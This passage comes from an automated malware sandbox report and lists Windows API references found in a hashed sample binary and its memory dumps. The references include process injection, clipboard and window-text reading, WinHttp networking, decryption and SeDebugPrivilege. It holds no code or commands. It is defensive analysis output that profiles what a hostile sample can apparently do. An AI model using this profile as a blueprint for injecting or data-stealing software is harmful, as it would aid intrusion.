"44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetComputerNameA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetEnvironmentVariableA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "VirtualQuery"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "ReadProcessMemory"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CreateProcessW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CreateProcessA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetFileAttributesA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetLastError"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CloseHandle"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "DuplicateHandle"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "VirtualProtect"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetFullPathNameW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "HeapFree"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "VirtualAlloc"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "VirtualLock"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CancelIoEx"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "FindClose"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "LoadLibraryA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CreateTimerQueueTimer"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "DeleteFileW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CreateDirectoryA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "ConnectNamedPipe"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "OutputDebugStringW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CopyFileA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CreateMutexW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "DeleteTimerQueueTimer"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "ExitThread"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetVersionExW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "FormatMessageA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "Process32Next"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "QueryDosDeviceW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetDiskFreeSpaceExA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "FlushViewOfFile"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetFileAttributesExA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "SetEndOfFile"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "MultiByteToWideChar"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CancelIo"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CreateMutexA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "VirtualFreeEx"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "LeaveCriticalSection"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "ResetEvent"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "LockFile"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetSystemTime"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "UnlockFileEx"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetFileSizeEx"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetVolumeInformationA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "WaitForMultipleObjects"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetDiskFreeSpaceW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "HeapReAlloc"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "RemoveDirectoryA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetCurrentThreadId"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "lstrcmpiA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetTempPathA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "EnterCriticalSection"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CreateNamedPipeW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetCurrentDirectoryA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "SystemTimeToFileTime"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "TlsGetValue"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "WriteProcessMemory"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CreateFileW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetFileAttributesW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetVersionExA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "SetFilePointerEx"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "LockFileEx"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "HeapAlloc"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "VirtualAllocEx"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetFullPathNameA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "TerminateThread"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CopyFileW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "TryEnterCriticalSection"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "HeapValidate"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "IsDBCSLeadByteEx"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "DeleteTimerQueue"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "QueryFullProcessImageNameA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetUserGeoID"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "ReadFile"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "UnmapViewOfFile"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "WaitForSingleObject"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "WriteFile"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetProcessHeap"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "FindNextFileA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetSystemTimes"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "FlushFileBuffers"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "Process32First"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetTimeZoneInformation"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "LocalFree"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "DisableThreadLibraryCalls"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetFileAttributesExW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CreateFileMappingA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetFileSize"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "HeapCompact"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetTempPathW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "SetFilePointer"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "Sleep"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetNativeSystemInfo"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "LocalAlloc"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetProcAddress"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GlobalUnlock"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "FileTimeToSystemTime"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "FindFirstFileA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "HeapSize"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "lstrlenA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "UnlockFile"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "VirtualFree"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetOverlappedResult"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetTickCount"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetEnvironmentStrings"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "DeleteFileA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetCurrentProcess"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GlobalLock"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "WideCharToMultiByte"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "UuidCreate"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "UuidToStringA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "RpcStringFreeA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "SHGetFolderPathA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "ShellExecuteExW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "SystemParametersInfoA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetKeyboardLayoutList"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetDC"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetForegroundWindow"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "MessageBoxA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "MessageBoxW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetClipboardData"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CloseClipboard"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetWindowTextA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "ReleaseDC"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "OpenClipboard"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "wsprintfW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetSystemMetrics"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "WinHttpQueryDataAvailable"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "WinHttpCrackUrl"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "WinHttpQueryHeaders"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "WinHttpAddRequestHeaders"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "WinHttpSendRequest"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "WinHttpSetTimeouts"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "WinHttpOpen"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "WinHttpReadData"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "WinHttpOpenRequest"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "WinHttpCloseHandle"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "WinHttpWriteData"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "WinHttpSetOption"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "WinHttpConnect"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "WinHttpReceiveResponse"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "closesocket"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "WSAStartup"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "WSACleanup"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "BCryptCloseAlgorithmProvider"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "BCryptOpenAlgorithmProvider"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "BCryptGenerateSymmetricKey"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "BCryptDecrypt"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "BCryptDestroyKey"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "BCryptSetProperty"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "DisplayVersion"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CharLowerW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CharUpperW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CreateEventExW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CreateFile2"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetTickCount64"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "InterlockedCompareExchange"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "UuidCreateSequential"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00002720.00000000.158138.715C0000.00000004.mdmp") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 